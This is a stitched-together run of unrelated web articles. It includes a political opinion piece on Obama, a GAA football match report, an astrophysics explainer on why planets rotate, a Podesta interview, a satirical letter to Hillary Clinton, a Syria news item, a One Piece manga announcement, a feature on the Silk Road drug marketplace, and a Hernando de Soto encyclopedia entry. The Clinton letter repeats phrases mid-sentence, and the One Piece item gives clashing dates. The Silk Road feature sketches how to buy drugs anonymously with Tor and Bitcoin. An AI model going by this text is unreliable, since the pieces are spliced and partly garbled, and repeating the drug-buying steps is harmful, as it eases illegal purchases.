“With the touch of a poet, her speech last night shamed the tat and the tawdry of populism and held out the possibility of something better … She can find words that make pictures. She brings passion and intellectual clarity. She has an actor’s sense of timing. This morning she seems the world’s most complete leader.”
Who needs Brangelina?
Barack Obama has maintained an uncanny ability to avoid being blamed for the situation the US finds itself in. Partly this is due to the superficial approach of small-l liberals, for whom an eloquent speech and a crocodile tear are enough to forgive any number of crimes. Partly it is the persistence of lesser-evilism. Obama benefited greatly from not being Bush. Then he was attacked throughout his presidency by a range of racist Republican nutters who simultaneously denounced him as a communist and a new Hitler. Now he benefits from the inevitable comparison with Trump and Clinton.
This serves only to highlight the bankruptcy of lesser-evilism. Obama’s likely successor will be Hillary Clinton, a candidate so unpopular it took the miracle of Donald Trump for her to be electable. It’s hard to see how she will be as successful a salesperson for poverty and war as Obama has been.
Obama leaves behind a United States even more plagued by poverty and inequality. He leaves an empire soaked in the blood of yet more victims. But he also leaves behind a population more disgruntled with US capitalism and more sympathetic to the idea of socialism than in decades. It is in their struggles, against every aspect of this unjust system, that genuine hope lies. |
Dublin 0-22 Kerry 2-14
Stoppage-time points from sub Eoghan O’Gara and Diarmuid Connolly finally saw Dublin past Kerry in an enthralling All-Ireland senior football semi-final at Croke Park this afternoon.
In front of a packed house at GAA HQ, the Sky Blues kept their dreams of back-to-back Sam Maguire wins alive as they saw off the Kingdom by just two points to book a final spot with Mayo on 18 September.
For Dublin, it’s the latest in a recent line of big-game victories over their traditional rivals, following on from final victories in 2011 and 2015, and a semi-final success in 2013.
Referee David Gough left the pitch to a chorus of boos from Kerry fans at full-time and the Meath whistler was pelted with match programmes and other items as made his way down the Cusack Stand tunnel.
The free count was heavily weighted in Dublin’s favour and a few close to goal, particularly in the second half, outraged Kerry supporters, while there was also a disputed ’45 that went Dublin’s way.
There was also a highly-controversial episode in stoppage time when Peter Crowley appeared to be hit with a frontal charge by Dublin’s Kevin McManamon – but Gough allowed play to continue.
That was at a stage when Kerry were attacking through Crowley and had a free been given, there was every chance that the game would be tied up again.
But Dublin broke and Connolly slotted over a beautiful point off his left boot from the Hogan Stand side of the field.
In the final minute of normal time, it appeared that Kevin McManamon would be the scourge of Kerry once more – as his point put Dublin 0-20 to 2-13 clear.
Kerry equalised when sub Stephen O’Brien fisted over but there was still time for O’Gara and Connolly to strike and send Dublin into a fourth final in six years.
Hill 16 erupted at full-time as Kerry struggled to come to immediate terms with another devastating loss against Dublin.
And yet it had all looked so good for the Munster champions at half-time as a magnificent run of 2-4 without reply approaching the break turned this game on its head.
Jim Gavin says there was never any panic in his team despite the five-point interval deficit https://t.co/iMC67u1rJM — The Sunday Game (@TheSundayGame) August 28, 2016
In front of a sell-out Croke, Dublin controlled the first 25 minutes and were five points clear when Connolly slotted over a 24th-minute point to establish a 0-09 to 0-04 lead.
But Kerry were brilliant before the break, pressing high and attacking Stephen Cluxton’s restarts, as the Dublin goalkeeper looked unusually shaky.
Kerry rattled off three points without reply before an equalising goal arrived on the half-hour mark.
Paul Geaney pounced to pick off a Cluxton kick-out aimed for Johnny Cooper and a quick exchange of passes saw the ball end up in the Dublin net, Darran O’Sullivan the scorer after Donnchadh Walsh kept the move flowing.
Cluxton sent a kick-out over the touchline shortly afterwards as Dublin, clearly ratted, attempted to see out the remainder of the half before retreating to the sanctity of the dressing room.
But there was more havoc to come as, following a Cooper point, Anthony Maher’s long delivery saw Geaney beat Cluxton to the punch and the umpire rightly reached for the green flag.
Another Cooper free before half-time saw Kerry lead by 2-08 to 0-09 but Dublin were level within 15 minutes of the restart, roaring out of the traps to reel in the Kingdom.
Kerry managed to tag on just a solitary point in that crucial period following the interval but Dublin were humming, raising six white flags.
The final 20 minutes were simply gripping, Kerry re-asserting themselves to open up a three point lead with the clock running down.
But Dublin hit back again with four points on the spin – two Rock frees sandwiched in between efforts from Philly McMahon and McManamon.
Dublin saw the finishing line but there was still plenty of injury-time drama to come – with Jim Gavin’s holders the last men standing.
DUBLIN: S Cluxton; P McMahon (0-01), J Cooper, D Byrne; J McCarthy, C O’Sullivan, J Small; B Fenton (0-01), M.D. MacAuley; P Flynn, K McManamon (0-02), C Kilkenny; D Rock (0-12, 8f, 2 45s), D Connolly (0-03), B Brogan (0-02).
Subs: P Andrews for Flynn (46), P Mannion for Small (50), E O’Gara (0-01) for MacAuley (60), M Fitzsimons for Cooper (67), C Costello for Brogan (70+1).
KERRY: B Kelly; S Enright, M Griffin, K Young; A O’Mahony, P Crowley; T Morley; A Maher, D Moran (0-01); P Murphy (0-01), C Cooper (0-05, 4f), D Walsh; K Donaghy, P Geaney (1-04), D O’Sullivan (1-00).
Subs: S O’Brien (0-01) for O’Sullivan (39), J O’Donoghue (0-01) for Donaghy (50), B.J. Keane (0-01) for Walsh (52), B Ó Beaglaoich for Morley (56), B Sheehan for Maher (58), M Ó Sé for Geaney (67).
Referee: D Gough (Meath). |
"Galileo got it wrong. The Earth does not revolve around the Sun. It revolves around you and has been doing so for decades. At least, this is the model you are using." -Srikumar Rao
It's the end of the week, so that means its time to take on another one of your questions from the question/suggestion box, and continue our ongoing Ask Ethan series! Even though there's a backlog of hundreds of questions, you should keep sending the new ones in, as all questions are fair game for any segment. This week's question comes from reader Brian Mucha, who asks us:
Where did the sun and planets get their angular momentum resulting in their rotation. I am not asking about the orbits but the actual rotation. I understand the ice skater analogy where bringing in the extended arms increase the skaters rotation due to the conservation of angular momentum. But the skater starts with spin. IF the skater is standing still they can extend and retract their arms all day and they wont spin. So when the planets and the sun started to form how was their initial angular momentum achieved?
Ahh, the old question of rotation, and why everything does it.
It's easy to make something spin faster once it's already going: you just change its moment of inertia.
What does that term mean, moment of inertia?
Image credit: PDFcast and Utah Electronic High School
You know Newton's second law: the one that tells you force is equal to mass times acceleration (F = ma). Technically, it's a little more accurate to say that force is how another quantity -- momentum -- changes over time. It means if you apply any external force to a mass, its momentum -- or how it's currently moving -- will change, and it tells you exactly by what amount it will change. And if you don't apply an external force to something, its momentum cannot change.
And if everything in the entire Universe only consisted of point masses along the same line, we'd never need anything else. But in the real Universe, masses-in-motion are distributed in more than one dimension.
Image credit: Greg L at the English language Wikipedia.
And whenever you have that, your system has not just momentum, but also angular momentum. And while momentum changes are dependent on mass, angular momentum changes are dependent on a combination of the mass and how that mass is distributed. That combination of factors -- mass and how it's distributed -- is what makes up moment of inertia. So yes, Newton's second law relates how objects change their momentum (i.e., how masses experience changes in their velocities), and there's an equivalent law that relates how objects change their angular momentum, or how moments of inertia experience changes in their rate of rotation.
Images credit: Markus Pössel, Einstein Online Vol. 3 (2007), 1011.
How the figure skater who pulls her arms and legs in spins faster is one example of this: as her mass becomes distributed closer to the axis-of-rotation (and her moment of inertia gets smaller), her rotation rate increases to compensate. If your mass-and-how-it's-distributed changes (goes up or down), your rate of rotation will also change (go down or up) to compensate. But just like Newton's second law tells you that you can change a system's momentum by applying an outside force, you can change a system's angular momentum by applying an outside torque.
Image credit: Wikimedia Commons user Yawe.
And a torque is just a force applied in such a way that it causes an object's rotation to change.
Image credit: NASA, ESA, and the Hubble Heritage Team (STScI/AURA).
Now here's where it gets interesting: every star system in the Universe once began as a cloud of gas-and-dust. These clouds may have been thousands or millions (or in some rare cases, maybe even larger) of times the mass of our Sun, but they were once incredibly diffuse, and spread out across many hundreds or thousands of light years. If these gas clouds had (or the ones we see today have) any sort of global rotation to them, it's far too small to be detectable, as it would take billions of years for such a gas cloud to make even one complete rotation.
Image credit: NASA/ESA and The Hubble Heritage Team (STScI/AURA)
But gas clouds -- like all objects in the Universe -- don't exist in isolation. They exist in the presence of all the other matter-and-energy in the Universe, all of which is subject to the laws of gravitation. And whenever any two masses in the Universe are in relative motion to one another, so long as they're not moving exactly and directly towards-or-away-from one another, the gravitational force they exert on each other causes a torque.
Illustration credit: Bill Saxton, NRAO / AUI / NSF.
This phenomenon is known as a tidal torque, and was first theoretically understood by Jim Peebles -- my Ph.D. advisor's Ph.D. advisor (or my grand-advisor) -- back in 1976. (So, you asked the right person!) It's why pretty much every mass that exists in this Universe, whether it was born with non-zero angular momentum or not, has one now, 13.8 billion years onward. That includes every gas cloud, including the one that gave rise to our Solar System. We can break these large gas clouds up further, into the regions that give rise to the individual stars and star systems that came into existence.
Each one of these regions that eventually result in a star/star system, with whatever angular momentum they have inside, are typically distributed in shapes known as triaxial ellipsoids. A triaxial ellipsoid is a fancy way to say that they're like spheres, except inevitably if you draw three perpendicular axes on them (X, Y, and Z, for example), one of the axes will inevitably be the shortest of the three. When a region gravitationally collapses, it's going to collapse along the shortest axis the fastest, and because normal matter -- the stuff all stars and planets is made out of -- interacts (i.e., collides) with itself, that means it's going to go "splat," like a pancake. (In fact, the scientific word for this process is known as pancaking.)
Image credit: NASA / JPL-Caltech.
But along the other two axes, you'll have a disk-like distribution, which is going to have an overall, net rotation in the direction of whatever its angular momentum is! It's the reason why -- in our Solar System -- all the planets revolve around the Sun in the same direction (counterclockwise, looking downwards from north of the Sun's north pole), the Sun rotates in that same direction, almost all the moons revolve around their planet in that same direction (with notable exceptions explained here), and finally, why practically all the planets rotate about their axes in that same direction, too.
Image credit: Calvin Hamilton, and click for a huge version!
There are only two major exceptions to the rule: Venus, which hardly rotates at all (but does so in the opposite direction), and Uranus, which rotates practically on its side. Both of these worlds are thought to have had their angular momentum significantly changed by the intervention of an outside body, most likely a significant collision a long time ago. That is to say, their rotation was changed by the influence of an external torque!
So that's the story of why planets, moons, stars and star systems revolve and rotate the way they do! Thanks for a good question, Brian, and to anyone else who has a question or suggestion for me, drop me a line! |
Hillary Clinton campaign chairman John Podesta refused two separate times on Sunday to acknowledge that last month’s election was “free and fair.”
“Do you believe this was a free and fair election?” NBC “Meet the Press” host Chuck Todd asked Podesta, whose hacked emails were published online during the campaign.
“I think the Russians clearly intervened in the election,” Podesta responded.
He also asserted, citing recent reports, that “the CIA, the director of national intelligence, and the FBI all agree that the Russians intervened to help Trump” and that Russian president Vladimir Putin “was personally involved.”
“You didn’t answer the question,” Todd noted. “Do you believe this was a free and fair election?”
“I think it was distorted by the Russian intervention, let’s put it that way,” Podesta responded.
Asked what he meant by “distorted,” Podesta said: “A foreign adversary directly intervened into our Democratic institution and tried to tilt the election to Donald Trump.”
Podesta’s claims that Russia hacked Democrats specifically to help Trump is still up for debate.
One piece of evidence that goes against that theory is that Russian hackers began attacking the Democratic National Committee’s systems in Sept. 2015. That was well before Trump was considered to have any chance of even winning the GOP primaries, much less the general election.
WATCH:
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John MacIntosh was a partner at a leading global private equity firm, where he worked from 1994 to 2006 in New York, Tokyo and London. He now runs a nonprofit in New York. The opinions expressed in this commentary are his.
I had the pleasure of meeting your husband back in 2002 at the annual reception of a leading private equity firm. (I was the 30-something finance guy in the blue suit, medium height, medium build, brown hair, Ivy League grad. Maybe he mentioned me?)
I still recall how he shook my hand, chatted insightfully with our small group for a few minutes and then wowed us by recognizing the obscure arrangement the jazz quartet was playing (although I always suspected the musicians had been asked to play it for just that purpose). As I'm sure he told you, it was truly a remarkable evening.
Anyway, it's ridiculous that the speeches-on-Wall-Street thing is becoming an issue for you in the primary so let me take the liberty of offering you some free campaign advice.
Folks just don't seem to understand that money-for-speeches -- while perhaps crass at times -- is just good clean fun with no connection at all to the important issues of money in politics and the power of Wall Street. In fact, I think the whole thing would go from being a negative to a positive for your campaign if you made a few simple points:
It's just show business. Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- cashes in one way or another because they have time on their hands yet still appeal to the well-heeled baby boomers who attend conferences, throw expensive parties and shell out for Vegas shows. The Wall Street firms who signed you up weren't thinking about how they could increase their power and influence -- they have K Street and "senior adviser" sinecures for that -- they just thought you'd provide some good old-fashioned entertainment. (To tell you the truth, I would have preferred Keith Richards to your husband at that meeting in 2002, but I was not involved in the event planning, and he probably would have been too expensive anyway.)
Since you got paid for a service, there is no hint of corruption. Although the Supreme Court got it exactly Although the Supreme Court got it exactly backward in its Citizens United decision, the danger from corruption is greatest when there is no explicit quid pro quo. If you'd been paid for doing nothing, people could rightly suspect you'd feel some loyalty or future obligation to your paymasters. But you were paid to provide specific services as laid out in some very explicit contracts and you did it. Case closed.
Your earnings reflect admirable commercial instincts. Americans appreciate a candidate with business acumen. Your speech-related earnings reflect your appreciation for the market and your belief in capitalism. Not to have taken millions in low-hanging speaking fees from easy marks would have been positively un-American. Even socialists should appreciate the extra joy -- remember "Ocean's Eleven" -- that you got taking money from people whom you may not particularly like. Appearances to the contrary notwithstanding, you weren't fraternizing with the enemy -- you were picking his pocket!
You were just leaning in. While Bill was out making millions giving his speeches, were you supposed to stay back in Chappaqua knitting booties by the fire? What type of message would that send to hardworking women? And tell people that after your two terms as president, you plan to return to the speech circuit and command the same level of inflation-adjusted fees that male presidents have earned before you.
It was a lot of fun. This is an opportunity to show that you know how to have a good time. Admit that while it was sometimes a grind to speak with (generally) boring people -- from investment bankers to clinical pathologists -- it was also exhilarating to find ways to seem fresh and new week after week. (How does one inspire dentists one day and realtors the next?) Recount a humorous anecdote or two about parrying awkward marital questions from a bond trader who'd overindulged at the open bar.
You brought joy to others. Remind people that your audience was mostly those nameless professionals who huddle forgotten in the bottom 90% of the top 1%. The little people on the outside who, noses pressed to the glass, would otherwise never have had the chance to feel like insiders by shaking your hand and exchanging a few bon mots. Not rich enough to be courted as donors, not numerous enough to matter as voters, not powerful enough to be sought after for their influence, they are truly the unremarked forgotten of our political system. You should be proud to have a brought an hour or two of joy into their lives.
Don't go negative. Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders has saved in his entire life, and he probably could not compete on the lecture circuit if he tried. To some that makes him a loser and you a winner. But even in a silly political season when the candidate who throws the most insults appears to win, there is no need to overreact by following others into the gutter. This speech thing is a tempest in a teapot that will soon blow over (particularly if you release the text of your speeches to prove that there is no smoking gun).
Anyway, good luck in the election. You're going to be a great president. But if it doesn't work out, I hope you'll get back out on the circuit so maybe we'll have the chance to meet. A friend of mine saw you a few years ago and said you put on a great show. He still talks about it all the time.
Best regards,
John |
Syria called on the United Nations Security Council (UNSC) to take action against Israel on Thursday after a reported Israeli air strike on a military facility near the Syrian-Lebanese border on Wednesday.
“The Government of the Syrian Arab Republic calls upon the UNSC to condemn the blatant Israeli aggressions [sic]," a statement carried on the state-run SANA news agency said, adding that Syria "calls on the international organization to adopt firm and immediate measures to stop those attacks and hold Israel accountable for its support to terrorism which would inflame the situation in the region and the world."
Israel's air force bombed a weapons depot in Homs province on Wednesday night local time, Lebanese media and a monitoring group said, the latest in a string of strikes in recent weeks.
Lebanese news outlet al-Mayadeen reported that Syria fired a surface-to-air missile at Israeli aircraft after the strike, which reportedly occurred in the suburbs of the city of Homs.
Local residents reported of Israeli jets circling in the area and an explosion, according to a report on the Lebanese site Anshara. Syrian television reported "an aggression" by Israel in the region, adding that the national army had "responded".
The Israeli army refused to comment on the report.
In Thursday's statement SANA described the facility as a "copper factory for civil industries in Hassyah industrial zone in Homs province."
The statement repeated claims frequently made by the regime of Bashar Al Assad that Israel secretly controls Islamist terror groups such as Islamic State (IS) and Al Nusra, who have been fighting the regime in an almost six-years-long civil war.
Israel has acknowledged carrying out airstrikes in Syria since the outbreak of the bloody conflict, in order to stop arms deliveries to Shiite militia Hezbollah, an ally of Assad's ruling clan.
The Syria observatory said Israel had also struck an arms depot near the Damascus airport on September 22, and this month targeted a jihadist faction linked to the Islamic State group in southern Syria, killing at least 10.
Damascus made a similar plea to the Security Council in mid-October, saying they were "surprised" by UNSC inaction.
Israel said last month it had attacked Syrian government artillery after fire from across the armistice line hit the Israeli-occupied Golan Heights
AFP contributed to this report. |
The official Japanese website for One Piece has finally revealed the cover for One Piece Volume 80, entitled “Opening Speech.”
The One Piece Volume 80 cover features former Fleet Admiral Sengoku, Admiral Fujitora (also known as “Issho”), new Warlord of the Sea Buggy the Clown, and Vice Admiral Tsuru. In the foreground, Luffy is laughing and running with Rebecca on his back. Also featured are two characters introduced in this volume, and a subtle hint at a big event.
One Piece volume 80 will hit stores on Dec. 28. With a total of 216 pages, it is likely that One Piece Volume 80 will contain 11 chapters — from chapter 796, “Soldier’s Conviction”, through One Piece chapter 806, “At Rightflank Fortress.”
With Jump Festa 2016 (Dec. 19–20) including a One Piece Super Stage Event featuring One Piece‘s Straw Hat voice actors, combined with the still unknown “big announcement” to be given at the end of the upcoming One Piece: Adventure of Nebulandia TV Special on Dec. 19, it is possible that One Piece Volume 80 — like its predecessor One Piece Volume 79 — will also contain a hidden teaser of the upcoming One Piece movie, One Piece Film: Gold, to be released in theaters in Japan on July 23, 2016.
The One Piece chapters contained in this volume are all available in English from Weekly Shonen Jump! We’ll be doing a full review of One Piece Volume 80 with translator Stephen Paul on The One Piece Podcast in the weeks following the release in Japan. Included in that review will be our thoughts on the cover, a look at every SBS question, the Usopp Pirates Gallery, the continuing adventures of Pandaman, and a lot more. Look forward to that podcast after the volume’s release!
You can purchase One Piece Volume 80 in Japan on December 28th, 2015 or in your local Japanese import store! |
Making small talk with your pot dealer sucks. Buying cocaine can get you shot. What if you could buy and sell drugs online like books or light bulbs? Now you can: Welcome to Silk Road.
About three weeks ago, the U.S. Postal Service delivered an ordinary envelope to Mark's door. Inside was a tiny plastic bag containing 10 tabs of LSD. "If you had opened it, unless you were looking for it, you wouldn't have even noticed," Mark told us in a phone interview.
Mark, a software developer, had ordered the 100 micrograms of acid through a listing on the online marketplace Silk Road. He found a seller with lots of good feedback who seemed to know what they were talking about, added the acid to his digital shopping cart and hit "check out." He entered his address and paid the seller 50 Bitcoins – untraceable digital currency – worth around $150. Four days later, the drugs (sent from Canada) arrived at his house.
"It kind of felt like I was in the future," Mark said.
Silk Road, a digital black market that sits just below most internet users' purview, does resemble something from a cyberpunk novel. Through a combination of anonymity technology and a sophisticated user-feedback system, Silk Road makes buying and selling illegal drugs as easy as buying used electronics – and seemingly as safe. It's Amazon – if Amazon sold mind-altering chemicals.
Here is just a small selection of the 340 items available for purchase on Silk Road by anyone, right now: a gram of Afghani hash; 1/8 ounce of "sour 13" weed; 14 grams of ecstasy; .1 gram tar heroin. A listing for "Avatar" LSD includes a picture of blotter paper with big blue faces from the James Cameron movie on it.
The sellers are located all over the world, a large portion from the United States and Canada.
But even Silk Road has limits: You won't find any weapons-grade plutonium, for example. Its terms of service ban the sale of "anything who's purpose is to harm or defraud, such as stolen credit cards, assassinations, and weapons of mass destruction."
'It's Amazon – if Amazon sold mind-altering chemicals.'
Getting to Silk Road is tricky. The URL seems made to be forgotten. But don't point your browser there yet. It's only accessible through the anonymizing network, TOR, which requires a bit of technical skill to configure.
Once you're there, it's hard to believe that Silk Road isn't simply a scam. Such brazenness is usually displayed only by those fake "online pharmacies" that dupe the dumb and flaccid. There's no sly, Craigslist-style code names here. But while scammers do use the site, most of the listings are legit. Mark's acid worked as advertised. "It was quite enjoyable, to be honest," he said. We spoke to one Connecticut engineer who enjoyed sampling some "silver haze" pot purchased off Silk Road. "It was legit," he said. "It was better than anything I've seen."
Silk Road cuts down on scams with a reputation-based trading system familiar to anyone who's used Amazon or eBay. The user Bloomingcolor appears to be an especially trusted vendor, specializing in psychedelics. One happy customer wrote on his profile: "Excellent quality. Packing, and communication. Arrived exactly as described." They gave the transaction five points out of five.
"Our community is amazing," Silk Road's anonymous administrator, known on forums as "Silk Road," told us in an e-mail. "They are generally bright, honest and fair people, very understanding, and willing to cooperate with each other."
Sellers feel comfortable openly selling hard-core drugs because the real identities of those involved in Silk Road transactions are utterly obscured. If the authorities wanted to ID Silk Road's users with computer forensics, they'd have nowhere to look. TOR masks a user's tracks on the site. As for transactions, Silk Road doesn't accept credit cards, PayPal or any other form of payment that can be traced or blocked. The only money good here is Bitcoins.
Bitcoins have been called a "crypto-currency," the online equivalent of a brown paper bag of cash. Bitcoins are a peer-to-peer currency, not issued by banks or governments, but created and regulated by a network of other bitcoin holders' computers. (The name "Bitcoin" is derived from the pioneering file-sharing technology Bittorrent.) They are purportedly untraceable and have been championed by cyberpunks, libertarians and anarchists who dream of a distributed digital economy outside the law, one where money flows across borders as free as bits.
To purchase something on Silk Road, you need first to buy some Bitcoins using a service like Mt. Gox Bitcoin Exchange. Then, create an account on Silk Road, deposit some bitcoins, and start buying drugs. One bitcoin is worth about $8.67, though the exchange rate fluctuates wildly every day. Right now you can buy an 1/8 ounce of pot on Silk Road for 7.63 Bitcoins. That's probably more than you would pay on the street, but most Silk Road users seem happy to pay a premium for convenience.
'It kind of felt like I was in the future.'
Since it launched this February, Silk Road has represented the most complete implementation of the Bitcoin vision. Many of its users come from Bitcoin's Utopian geek community and see Silk Road as more than just a place to buy drugs. Silk Road's administrator cites the anarcho-libertarian philosophy of Agorism. "The state is the primary source of violence, oppression, theft and all forms of coercion," Silk Road wrote to us. "Stop funding the state with your tax dollars and direct your productive energies into the black market."
Mark, the LSD buyer, had similar views. "I'm a libertarian anarchist and I believe that anything that's not violent should not be criminalized," he said.
But not all Bitcoin enthusiasts embrace Silk Road. Some think the association with drugs will tarnish the young technology, or might draw the attention of federal authorities. "The real story with Silk Road is the quantity of people anxious to escape a centralized currency and trade," a longtime bitcoin user named Maiya told us in a chat. "Some of us view Bitcoin as a real currency, not drug barter tokens."
Silk Road and Bitcoins could herald a black market eCommerce revolution. But anonymity cuts both ways. How long until a DEA agent sets up a fake Silk Road account and starts sending SWAT teams instead of LSD to the addresses she gets? As Silk Road inevitably spills out of the bitcoin bubble, its drug-swapping utopians will meet a harsh reality no anonymizing network can blur. |
Hernando de Soto (;[4] Spanish: [eɾˈnãndo ðe ˈsoto]; c. 1500 – May 21, 1542) was a Spanish explorer and conquistador who was involved in expeditions in Nicaragua and the Yucatan Peninsula, and played an important role in Pizarro's conquest of the Inca Empire in Peru, but is best known for leading the first Spanish and European expedition deep into the territory of the modern-day United States (through Florida, Georgia, Alabama, Mississippi, and most likely Arkansas). He is the first European documented as having crossed the Mississippi River.[5]
De Soto's North American expedition was a vast undertaking. It ranged throughout the southeastern United States, both searching for gold, which had been reported by various Indian tribes and earlier coastal explorers, and for a passage to China or the Pacific coast. De Soto died in 1542 on the banks of the Mississippi River;[6] different sources disagree on the exact location, whether it was what is now Lake Village, Arkansas, or Ferriday, Louisiana.
Early life [ edit ]
Hernando de Soto was born in Extremadura, Spain, to parents who were both hidalgos, nobility of modest means. The region was poor and many people struggled to survive; young people looked for ways to seek their fortune elsewhere. He was born in Jerez de los Caballeros, in the current province of Badajoz.[1]:135 Three towns—Badajoz, Barcarrota and Jerez de los Caballeros—claim to be his birthplace. He spent time as a child at each place. He stipulated in his will that his body be interred at Jerez de los Caballeros, where other members of his family were buried.[7] As he grew to adulthood, the Spanish took back control of the Iberian peninsula from Islamic forces. Spain and Portugal were filled with young men seeking a chance for military fame after the defeat of the Moors. With discovery of new lands (which they thought at the time to be East Asia) across the ocean to the west, young men were attracted to rumors of adventure, glory and wealth.
In the New World [ edit ]
De Soto sailed to the New World with Pedrarias Dávila, appointed as the first Governor of Panama. In 1520 he participated in Gaspar de Espinosa's expedition to Veragua, and in 1524, he participated in the conquest of Nicaragua under Francisco Hernández de Córdoba. There he acquired an encomienda and a public office in León, Nicaragua.[1]:135
Brave leadership, unwavering loyalty, and ruthless schemes for the extortion of native villages for their captured chiefs became de Soto's hallmarks during the conquest of Central America. He gained fame as an excellent horseman, fighter, and tactician. During that time, de Soto was influenced by the achievements of Spanish explorers: Juan Ponce de León, the first European to reach Florida; Vasco Núñez de Balboa, the first European to reach the Pacific Ocean coast of the Americas (he called it the "South Sea" on the south coast of Panama); and Ferdinand Magellan, who first sailed that ocean to East Asia.
In 1530, de Soto became a regidor of León, Nicaragua. He led an expedition up the coast of the Yucatán Peninsula searching for a passage between the Atlantic Ocean and the Pacific Ocean to enable trade with the Orient, the richest market in the world. Failing that, and without means to explore further, de Soto, upon Pedro Arias Dávila's death, left his estates in Nicaragua. Bringing his own men on ships which he hired, de Soto joined Francisco Pizarro at his first base of Tumbes shortly before departure for the interior of present-day Peru.[8]:143
Pizarro quickly made de Soto one of his captains.[1]:171
Conquest of Peru [ edit ]
When Pizarro and his men first encountered the army of Inca Atahualpa at Cajamarca, Pizarro sent de Soto with fifteen men to invite Atahualpa to a meeting. When Pizarro's men attacked Atahualpa and his guard the next day (the Battle of Cajamarca), de Soto led one of the three groups of mounted soldiers. The Spanish captured Atahualpa. De Soto was sent to the camp of the Inca army, where he and his men plundered Atahualpa's tents.[9]
During 1533, the Spanish held Atahualpa captive in Cajamarca for months while his subjects paid for his ransom by filling a room with gold and silver objects. During this captivity, de Soto became friendly with Atahualpa and taught him to play chess. By the time the ransom had been completed, the Spanish became alarmed by rumors of an Inca army advancing on Cajamarca. Pizarro sent de Soto with 200 soldiers to scout for the rumored army.[10]
While de Soto was gone, the Spanish in Cajamarca decided to kill Atahualpa to prevent his rescue. De Soto returned to report that he found no signs of an army in the area. After executing Atahualpa, Pizarro and his men headed to Cuzco, the capital of the Incan Empire. As the Spanish force approached Cuzco, Pizarro sent his brother Hernando and de Soto ahead with 40 men. The advance guard fought a pitched battle with Inca troops in front of the city, but the battle had ended before Pizarro arrived with the rest of the Spanish party. The Inca army withdrew during the night. The Spanish plundered Cuzco, where they found much gold and silver. As a mounted soldier, de Soto received a share of the plunder, which made him very wealthy. It represented riches from Atahualpa's camp, his ransom, and the plunder from Cuzco.[11]
On the road to Cuzco, Manco Inca Yupanqui, a brother of Atahualpa, had joined Pizarro. Manco had been hiding from Atahualpa in fear of his life, and was happy to gain Pizarro's protection. Pizarro arranged for Manco to be installed as the Inca leader. De Soto joined Manco in a campaign to eliminate the Inca armies under Quizquiz, who had been loyal to Atahualpa.[12]:66–67,70–73
By 1534, de Soto was serving as lieutenant governor of Cuzco while Pizarro was building his new capital on the coast; it later became known as Lima. In 1535 King Charles awarded Diego de Almagro, Francisco Pizarro's partner, the governorship of the southern portion of the Inca Empire. When de Almagro made plans to explore and conquer the southern part of the Inca empire (now Chile), de Soto applied to be his second-in-command, but de Almagro turned him down. De Soto packed up his treasure and returned to Spain.[1]:367,370–372,375,380–381,396
Return to Spain [ edit ]
De Soto returned to Spain in 1536,[1]:135 with wealth gathered from plunder in the Spanish conquest of the Inca Empire. He was admitted into the prestigious Order of Santiago and "granted the right to conquer Florida".[1]:135 His share was awarded to him by the King of Spain, and he received 724 marks of gold, 17,740 pesos.[13] He married Isabel de Bobadilla, daughter of Pedrarias Dávila and a relative of a confidante of Queen Isabella.
De Soto petitioned King Charles to lead the government of Guatemala, with "permission to create discovery in the South Sea." He was granted the governorship of Cuba instead. De Soto was expected to colonize the North American continent for Spain within four years, for which his family would be given a sizable piece of land.
Fascinated by the stories of Cabeza de Vaca, who had survived years in North America after becoming a castaway and had just returned to Spain, de Soto selected 620 Spanish and Portuguese volunteers, including some of mixed-race African descent known as Atlantic Creoles, to accompany him to govern Cuba and colonize North America. Averaging 24 years of age, the men embarked from Havana on seven of the King's ships and two caravels of de Soto's. With tons of heavy armor and equipment, they also carried more than 500 heads of livestock, including 237 horses and 200 pigs, for their planned four-year continental expedition.
De Soto wrote a new will before embarking on his travels. On 10 May 1539, he wrote in his will:
That a chapel be erected within the Church of San Miguel in Jerez de Los Caballeros, Spain, where De Soto grew up, at a cost of 2,000 ducats, with an altarpiece featuring the Virgin Mary, Our Lady of the Conception, that his tomb be covered in a fine black broadcloth topped by a red cross of the Order of the Knights of Santiago, and on special occasions a pall of black velvet with the De Soto coat of arms be placed on the altar; that a chaplain be hired at the salary of 12,000 maravedis to perform five masses every week for the souls of De Soto, his parents, and wife; that thirty masses be said for him the day his body was interred, and twenty for our Lady of the Conception, ten for the Holy Ghost, sixty for souls in purgatory and masses for many others as well; that 150000 maravedis be given annually to his wife Isabel for her needs and an equal amount used yearly to marry off three orphan damsels...the poorest that can be found," to assist his wife and also serve to burnish the memory of De Soto as a man of charity and substance.[14]
De Soto's exploration of North America [ edit ]
Historiography [ edit ]
Historians have worked to trace the route of de Soto's expedition in North America, a controversial process over the years.[16] Local politicians vied to have their localities associated with the expedition. The most widely used version of "De Soto's Trail" comes from a study commissioned by the United States Congress. A committee chaired by the anthropologist John R. Swanton published The Final Report of the United States De Soto Expedition Commission in 1939. Among other locations, Manatee County, Florida, claims an approximate landing site for de Soto and has a national memorial recognizing that event.[17] In the early 21st century, the first part of the expedition's course, up to de Soto's battle at Mabila (a small fortress town in present-day central Alabama[18]), is disputed only in minor details. His route beyond Mabila is contested. Swanton reported the de Soto trail ran from there through Mississippi, Arkansas, and Texas.
Historians have more recently considered archeological reconstructions and the oral history of the various Native American peoples who recount the expedition.[citation needed] Most historical places have been overbuilt and much evidence has been lost.[citation needed] More than 450 years have passed between the events and current history tellers, but some oral histories have been found to be highly accurate about historic events that have been otherwise documented.[citation needed]
The Governor Martin Site at the former Apalachee village of Anhaica, located about a mile east of the present Florida capital in Tallahassee, has been documented as definitively associated with de Soto's expedition. The Governor Martin Site was discovered by archaeologist B. Calvin Jones in March 1987. It has been preserved as the DeSoto Site Historic State Park.
The Hutto/Martin Site, 8MR3447, in southeastern Marion County, Florida, on the Ocklawaha River, is the most likely site of the principal town of Acuera referred to in the accounts of the entrada, as well as the site of the seventeenth-century mission of Santa Lucia de Acuera.[19][20]
As of 2016, the Richardson/UF Village site (8AL100) in Alachua County, west of Orange Lake, appears to have been accepted by archaeologists as the site of the town of Potano visited by the de Soto expedition. The 17th-century mission of San Buenaventura de Potano is believed to have been founded here.[21]
Many archaeologists believe the Parkin Site in northeast Arkansas was the main town for the indigenous province of Casqui, which de Soto had recorded. They base this on similarities between descriptions from the journals of the de Soto expedition and artifacts of European origin discovered at the site in the 1960s.[22][23]
Theories of de Soto's route are based on the accounts of four chroniclers of the expedition.
